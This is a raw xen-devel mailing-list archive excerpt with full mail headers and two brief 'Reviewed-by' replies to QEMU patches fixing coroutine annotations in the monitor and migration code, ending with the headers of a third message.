Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	Xylt6wsFKJvrYyxVqGoSHrKPaMLy/Xg4jMInsdLnhbg=; b=j5ApMr3p6EZG/Nd+
	hGnvGfgyo7mkwOY60sHfUg0uD9QQgMe2JkPYTGznsxjuaiDfZ8VJ2rSORr9y3CWq
	caDSud4jE4wksqsMOUUGXTsYYBrVeOCyQfmq4bM6FX1Kpmnyhf6imeUUFWOP2U+N
	BJzkSNMEMfWgVYG/b3imUbbz072XqVMpsfZhSyEdH57GKm4BDA7noCuqXQ55dgLW
	96meegHLxYsCbkICAapvTJMG6Kiw8bpaH5mj3BFJinHJSel6zePHvTmD3idJaDRQ
	mqYxHTHTu2TZYuKrX1BUUJyLD7AJ8DhbURVs3adYWy1n0SYIdfawGfrvnTQ6T83K
	ZkBp8g==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784557583; x=1785162383; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=Xylt6wsFKJvrYyxVqGoSHrKPaMLy/Xg4jMInsdLnhbg=;
        b=atmGS+vumtoeBqiIT1CORhzXmuba6dCswe+uK3p0ghnFa6Frobh7mOAEbiglok+NsT
         wxN0U1b4m3LJte3tqSD8JFANs/YVxPQ8RGTFgBU3C1M/20z/oC0uC77W7uPIdAZ/yHnP
         IYej57XvMPnL1vTbEH/uWP8JuKsVn1T2kgh1lc0E91quk+Q31ni7spAjhDPi3eZbAUkp
         ZcZWTygR9G2crWwyjp8OlLBjcGKCxNhSVWoauTKZNFrr3t3NpXh3pmWYUtITcFiRhGAA
         FoHND2vfGI5fBbgFpRdbbkSRN4TRYKt3yA3RuaBxaGfX33bVIdINK3iVexg7JLji38Bo
         0dLw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784557583; x=1785162383;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Xylt6wsFKJvrYyxVqGoSHrKPaMLy/Xg4jMInsdLnhbg=;
        b=nRF5EJjF/RJdhEio5IFwm6xpjLJb11lFPJilVAI90orb3RnHDfhEd0d98H24mYTtzi
         8WjZ4PYVVnuVs/l3S+RZdoiW974l7bB5/bIz+GF5ozT/oCES77NdAnN+P3a93OzjcPuu
         Riib8HOnMCaAY5NA5leFF5yNmIDGg11HRcphaDybFx/SSGYtKOB7isZ89AD2ZHFOumzT
         gPyX+m575nvmAmt9098bzENE9OY/fUdk0FEC3PD5uXb2FIRA7Vfql7yOLESxvgOFOzQl
         rRmI+feVeN/igp8Rs53TjbyM9S0zA3opGb3keWjsZuOCab68sYvfoUxaKOQylIGqi5J8
         VQqw==
X-Forwarded-Encrypted: i=1; AHgh+Rpbxk5lkt7zO0hKBQj0h2f9BP8bINgGMKOWFvY69ErUlcIYZjvagmq0N7lMdl+WzpeDHzmFYM/3BTU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwQRU56tKuZr2iG848MyKAyMn9Cbt8az2jR1mbNnbf4E/EyOQOm
	baI4pyBtrYBXiENCNbxkiLoNPqVq7qYdgz7KgNCQLw25tq+BEMpNvkw9MJPIy91slRJ8kJgK2hA
	bwuKUkCCQytmhR8A4CmSzASYcOBvP1vva8U0E0ZzLD/Z3usT1iYp0A1Fu1yRiGQHOnGHKdQ==
X-Gm-Gg: AfdE7ck1qO20ivXGx1/L01mprmmGsAd1NqD9toEvN31s9aaz/lGkF4u/B7kNUPE1yuX
	ZI6Xoca3av/MZ547ZJsDyCjiWaCB/3oZSgqt/A4LhCh4w4sIAfIpk2RTEqNVEZY1lakQ8QME7MQ
	KrzZFTLYsQjx16+exPmq3XLt3YPbbvRwRENjmhuIM1A6a/lmHQbzN0vECwX/zd4gR7ySGI8yYFU
	09XJuuYyoTt35pX7MU0bHU4wrOcHSg0EjoB+oIGq/tsAUQNkmQ3F/F3znnj4+t17DX4H4GRjmL8
	en6+BaR/1a9/K3Zv9jDnkjBd1MpYG1HK2uTxE9FhZQgHkP5qAv08l5fB/nV7YWapqkiPmey1a9X
	W9yMZJULsRh7l8jOviik9I+zXEFRgv1lZzeotM4jtoxcdaZLQrPw=
X-Received: by 2002:a05:622a:3d0:b0:51a:f94e:ce51 with SMTP id d75a77b69052e-5213e28f161mr133654261cf.50.1784557583294;
        Mon, 20 Jul 2026 07:26:23 -0700 (PDT)
X-Received: by 2002:a05:622a:3d0:b0:51a:f94e:ce51 with SMTP id d75a77b69052e-5213e28f161mr133653711cf.50.1784557582784;
        Mon, 20 Jul 2026 07:26:22 -0700 (PDT)
Message-ID: <bf0bb4a3-bcf8-44a2-b3da-b9e8fed68a5d@oss.qualcomm.com>
Date: Mon, 20 Jul 2026 16:26:20 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/8] monitor: annotate monitor_qmp_dispatcher_pop_any() as
 coroutine
Content-Language: en-US
To: =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>,
        qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Christian Schoenebeck <qemu_oss@crudebyte.com>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-1-fabb4db3c204@redhat.com>
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
In-Reply-To: <20260720-co-v1-1-fabb4db3c204@redhat.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-ORIG-GUID: yJBq3c_6-8XdYfflR8-8cdBb7xHzb4NU
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIwMDE2MSBTYWx0ZWRfX4GDFao7gFCNS
 2vPTfMcMV2KgTv0U+dXIyrj2gVRiNrnXClBY6qeZuLJAkbbrEy9Ring4uokhr9MnR2B1Y0AHNrZ
 FOUfGLZp+AbQOjc9ZwE44c9+rey4thk35xvk0x/PA/loLBVKKS7RdwFDWzFgTywCxVPLZpN4Ptb
 i6bCzhonI4Cd+h7n6imtjHum8a03OVOeE5mAlZBh+vVIiMs3y+5o0JzreZsyHKBxsnV+UniI2xp
 9J0J2SPNc7qnPxxZ+T9cPApblbfM9oDvnCqjjwp//ghhsVLCZHsprnol8AzeZNYpzB//vShx/UR
 Ha+KbDriu+tH0Pg1VF91/fViSgqxMG2zSiO0ps86w79gcLvJJDQeztUKPi8mugn23p6zKGf/gj2
 0O8r+9cIB43HSfZxCkJjIW/t9DCLMliAuZX6P9IEWRnb29EihuhpwueG/GDo/8LlgqSKJ3KAHlQ
 VGZzO2eCU6i8554DFtw==
X-Authority-Analysis: v=2.4 cv=RPmD2Yi+ c=1 sm=1 tr=0 ts=6a5e3010 cx=c_pps
 a=JbAStetqSzwMeJznSMzCyw==:117 a=4s3hRJSeHn4rkQlkrse1kQ==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=M51BFTxLslgA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=yx91gb_oNiZeI1HMLzn7:22
 a=20KFwNOVAAAA:8 a=EUspDBNiAAAA:8 a=1tSEMpTH9XP_W59IOagA:9 a=3ZKOabzyN94A:10
 a=QEXdDO2ut3YA:10 a=uxP6HrT_eTzRwkO_Te1X:22
X-Proofpoint-GUID: yJBq3c_6-8XdYfflR8-8cdBb7xHzb4NU
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzIwMDE2MSBTYWx0ZWRfX/juIyR1U1YyD
 135t287AQBm1QLOBsp5Khmg/iH5bOymf5VoHcsWDl0Fm3K/u/8q/G8L0lbZVboCQAeUH9+OV702
 Ic/nDPkWeCSaRlVOAc/om40faUCQzhk=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_03,2026-07-20_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 phishscore=0 impostorscore=0 clxscore=1015 priorityscore=1501
 lowpriorityscore=0 spamscore=0 bulkscore=0 malwarescore=0 adultscore=0
 suspectscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607200161
X-purgate-ID: tlsNG-c1860d/1784557586-D715E87B-0764EADC/0/0
X-purgate-type: clean
X-purgate-size: 446

On 20/7/26 09:55, Marc-AndrÃƒÂ© Lureau wrote:
> The function calls qemu_coroutine_yield(), and is called from
> monitor_qmp_dispatcher_co().
> 
> Fixes: 60f4f62efeb ("monitor: extract request dequeuing to a new function")
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
> ---
>   monitor/qmp.c | 3 ++-
>   1 file changed, 2 insertions(+), 1 deletion(-)

Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:27:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:27:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366646.1616594 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloy3-0000Bv-MJ; Mon, 20 Jul 2026 14:27:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366646.1616594; Mon, 20 Jul 2026 14:27:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloy3-0000Bo-JL; Mon, 20 Jul 2026 14:27:39 +0000
Received: by outflank-mailman (input) for mailman id 1366646;
 Mon, 20 Jul 2026 14:27:38 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wloy2-0000BS-O2
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:27:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wloy1-009lQf-Ta
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:27:37 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e304d-5cb7-0a2a0a5109dd-0a2a4507bc14-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:27:37 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e3057-b4ea-0a2a45070019-cddcb483f5f0-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:27:36 +0200
Received: from pps.filterd (m0279870.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66KDrEAC2807543
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:27:34 GMT
Received: from mail-qt1-f199.google.com (mail-qt1-f199.google.com
 [209.85.160.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhgre9cn6-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:27:34 +0000 (GMT)
Received: by mail-qt1-f199.google.com with SMTP id
 d75a77b69052e-522de3c645dso56634201cf.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:27:34 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63ee0086sm32882765f8f.30.2026.07.20.07.27.31
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 07:27:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	DWJNyilWcUWmfqywoqzffl/7oB98sIt3grJe2Xwyo4U=; b=DpI0U26qEQcoXKxP
	TtGYGlh1I+7pQIlnf92gRatiIy3HZN0GjVv5OXBwYy5B3nXwPY6m4C46K/K1gr82
	ThpIUl35qfqSyDFvzwkEB1lX0Tv0C5nlOhjjoWgmdM7e9eNhW1F0KEaao183S7Zg
	dkxN5ZC4g1Pjb7XcOhXWz0KemLT32T0OCTJ2WSQ1cNp2ANZ2w2oyHRgiaXHkNaw9
	IjGRlwUdo7PZB9xhgUfv1KQlzN3MRKee9Ez+KtL34KLX8TDDCeDZp1LZLt4k1zY2
	uLFKAaMMuazFJEfZzo+ASidycvCrtxeJVlXKiaQkhkV3mJR/UEOnBbk6N4T5ix7b
	AcPEAg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784557654; x=1785162454; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=DWJNyilWcUWmfqywoqzffl/7oB98sIt3grJe2Xwyo4U=;
        b=PUTxlzUgqNuq+VZj9w3GDkjY93EU21VLqqV3XagXzI9o3YC+tL3v11UE0xTwGghDRY
         fFL6c3hp6pwNHmCsZBRWWEYxfpY67uv8sCEnG5VDUXnfXFU7jPGdtaarViMBwFz4a3Ll
         tLxh0JoRwXRVFKvJ7QhdQe4x/nDDVp2KR05m8h14TsAQX34lfW5K0bVkg3jO/heERA2u
         TObwmd0OXdKsxMJOmCDMpcyR81Qj/MA/6iusMJNsv9o7vVInLYYIRWbQ2QmJn7Tac/DN
         Y+V2qG21TJjJYPIu2h4U5lyCSxuXl2s45wQliz1AjUnxt1g+b7b6rQF6dk5nvUOt7ueP
         S7GQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784557654; x=1785162454;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=DWJNyilWcUWmfqywoqzffl/7oB98sIt3grJe2Xwyo4U=;
        b=BVRp/oXiGNTOQvz32h2z4e03xMqrcgbK/SlNhhf5m39ojcFCKVLCXuPYmg6avw0hVk
         DET6SJss/cy/l3cAjSGzIlWzwLaUKOoJqG1Axe8K/bLGBx3l+O0uIuxP/Dw1ImgI29cP
         vfZBXyYbf5nQOycr9hX80yrMkjgZoHzLunajW44kv00Z3/KGTJO41jN6Ar/+WAsX2iqM
         tEU7l6/0IiOyMxjAYhvcJ37W+EAkP8SImaQemgeiFe8IZOZ43q1POKCRPwtwhHAh0o3o
         MuhMrUVoWMFGZ5OVK6BywwDkjQOiK3mSaXRZ45LGoqJKe5yvtuNroHa847JozWmdyxK7
         VATw==
X-Forwarded-Encrypted: i=1; AHgh+RrKaEeFKIsP/dCDpnrANN+VDnAUtd1QqhhnuVFGJSBdQN7TXeg3Dscn+JPLs/bsLR327MR5M4SKUbk=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy6wXnYUpp5p2b5T4L4hHTKYL3Mgf0KLlT6FkfCd1tCAM3/hAMq
	rbWmTqOarVy3gWMn2sIXlnbCWBQ3G+shiVvQQQNi49DnxB5UG52ug1hQkfAtJWQHplmo00uVD8n
	d0XEdw2ihYWmoU7X7JRgHlWJoUM+zd7OYBFnW2spwRuV5LFYgoYrNKyAyp0qaDp2SwMimlA==
X-Gm-Gg: AfdE7cl04H1yhqNGotvpVUbsh0L6bv/c248AFM81sP+G+iJOsNdD+6JqQh22REG5jFP
	3sxIIt3bXCEk7jpCfIdcDsF5H5mOEtEM5A6L9C4GT+p2ccp8N3p+u/un1T4sDN/TL+SiNfjKIG8
	y5fwDI/dJRmapnlPLcopPrq444QZq+k4j7j+6ctrhO1hkA7FPP6ggc2ClLLMyyZE/BCsOyL4qzL
	0BN8V3msOd6wjOR0GAO6PkUsd87RNTt1tnjmTtd2KrSBqjEx+wkrR9sEXIfVMwdlBAWCZ55nA4e
	/bCB+6xEL66c56BpR8wkwvOuj+j7irp61QUPc+n/vEngNkXXuuY8jYW0jZEQHwHAykK+1+bXRy6
	7tx1dHHJxfJmud7IAaCC628FHQkrk0AE7YV4zGTWBQSId5aHiFKY=
X-Received: by 2002:a05:622a:1a9f:b0:51c:a70:5ed with SMTP id d75a77b69052e-5213ad60752mr132018401cf.30.1784557654071;
        Mon, 20 Jul 2026 07:27:34 -0700 (PDT)
X-Received: by 2002:a05:622a:1a9f:b0:51c:a70:5ed with SMTP id d75a77b69052e-5213ad60752mr132017971cf.30.1784557653592;
        Mon, 20 Jul 2026 07:27:33 -0700 (PDT)
Message-ID: <b160d306-cd5a-40e1-9c57-858a249e13df@oss.qualcomm.com>
Date: Mon, 20 Jul 2026 16:27:31 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/8] migration: fix qemu_get_counted_string annotation
Content-Language: en-US
To: =?UTF-8?Q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>,
        qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
        Fabiano Rosas <farosas@suse.de>,
        =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?=
 <berrange@redhat.com>,
        John Snow <jsnow@redhat.com>,
        Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
        Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
        qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
        Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
        Christian Schoenebeck <qemu_oss@crudebyte.com>,
        Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Anthony PERARD <anthony@xenproject.org>,
        "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
        xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-2-fabb4db3c204@redhat.com>
From: =?UTF-8?Q?Philippe_Mathieu-Daud=C3=A9?= <philmd@oss.qualcomm.com>
In-Reply-To: <20260720-co-v1-2-fabb4db3c204@redhat.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzIwMDE2MSBTYWx0ZWRfX/vumsm0yEHdk
 KmNLugAvzH4yPWBwlH1UTdGTqJ042b+uV/uV+b+Gp9jT8cvNAzx8rO79i+2qLaP53ziHujoe21+
 T576Xg49SVN/W/jDm3WA3sGnmApFsPQ=
X-Proofpoint-GUID: uwebRqfAl6skdhwGE2BZRVVAqFFoNw6u
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzIwMDE2MSBTYWx0ZWRfX6EOXK50dFsiS
 hLu1PKYEOjKN3DMAul5Z2/BsxvN3lej7oWx2anGNBEJf8BZV/0iYCz0deW+1TYNQioLdq5V5IQa
 EmUZib3jgQXH79f76NdsuBoeKjYXJwXxFUEzMdz9DJ0+B9QhsuV02zXW0yGZrNnHcdiIQe/Zyob
 0FEU+akWxOLis1elpzOWdAnIHl+FePQFZnD66rXfbaF6oPdS8Slh1zSGTuaFftNjnl17LBKh48N
 piRqL33X6dcS76pXsqTp6u2Jkb7QdbjtwuGLk2oIxPXq4IaL+XwDU/C7Wv9SA4+E+vul0yX/mIt
 HJKBq1nDUcLtC+8sqE84uGGSKcABpQ6q4w7lh40IvTejiwNpFzDqMXaV9Q8/IG9gE/9ExgVdMHI
 EdlozqFuzODNqwhHvqjOT96igNOoTZ4edR3dRVJFy6llgoLgwbTKlvVQK8YXyCqYywP8CtqOHUZ
 kOAY/hENXqbyumRGIow==
X-Proofpoint-ORIG-GUID: uwebRqfAl6skdhwGE2BZRVVAqFFoNw6u
X-Authority-Analysis: v=2.4 cv=foLsol4f c=1 sm=1 tr=0 ts=6a5e3056 cx=c_pps
 a=WeENfcodrlLV9YRTxbY/uA==:117 a=4s3hRJSeHn4rkQlkrse1kQ==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=M51BFTxLslgA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=gowsoOTTUOVcmtlkKump:22
 a=20KFwNOVAAAA:8 a=EUspDBNiAAAA:8 a=1tSEMpTH9XP_W59IOagA:9 a=3ZKOabzyN94A:10
 a=QEXdDO2ut3YA:10 a=kacYvNCVWA4VmyqE58fU:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-20_03,2026-07-20_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 phishscore=0 suspectscore=0 priorityscore=1501 spamscore=0 clxscore=1015
 lowpriorityscore=0 bulkscore=0 malwarescore=0 adultscore=0 impostorscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607200161
X-purgate-ID: tlsNG-ef75cf/1784557656-A48C9AE4-C6E7B955/0/0
X-purgate-type: clean
X-purgate-size: 347

On 20/7/26 09:55, Marc-AndrÃƒÂ© Lureau wrote:
> Fixes: 394b9407e4c ("migration: mark mixed functions that can suspend")
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
> ---
>   migration/qemu-file.c | 2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)

Reviewed-by: Philippe Mathieu-DaudÃ© <philmd@oss.qualcomm.com>


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:28:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:28:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366654.1616602 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloyx-0000td-UW; Mon, 20 Jul 2026 14:28:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366654.1616602; Mon, 20 Jul 2026 14:28:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloyx-0000tW-Ry; Mon, 20 Jul 2026 14:28:35 +0000
Received: by outflank-mailman (input) for mailman id 1366654;
 Mon, 20 Jul 2026 14:28:35 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wloyw-0000tO-T8
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:28:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wloyw-00HEUb-8j
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:28:34 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e3077-2eae-0a2a0a5409dd-0a2a450b89f0-38
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:28:33 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e308f-b7e8-0a2a450b0019-cddcb48369f6-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:28:33 +0200
Received: from pps.filterd (m0279870.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66KDrFVI2807604
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:28:31 GMT
Received: from mail-qt1-f197.google.com (mail-qt1-f197.google.com
 [209.85.160.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhgre9cs4-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 14:28:31 +0000 (GMT)
Received: by mail-qt1-f197.google.com with SMTP id
 d75a77b69052e-51c1a97644aso274109581cf.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:28:31 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63ed1911sm32338925f8f.22.2026.07.20.07.28.28
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 07:28:29 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
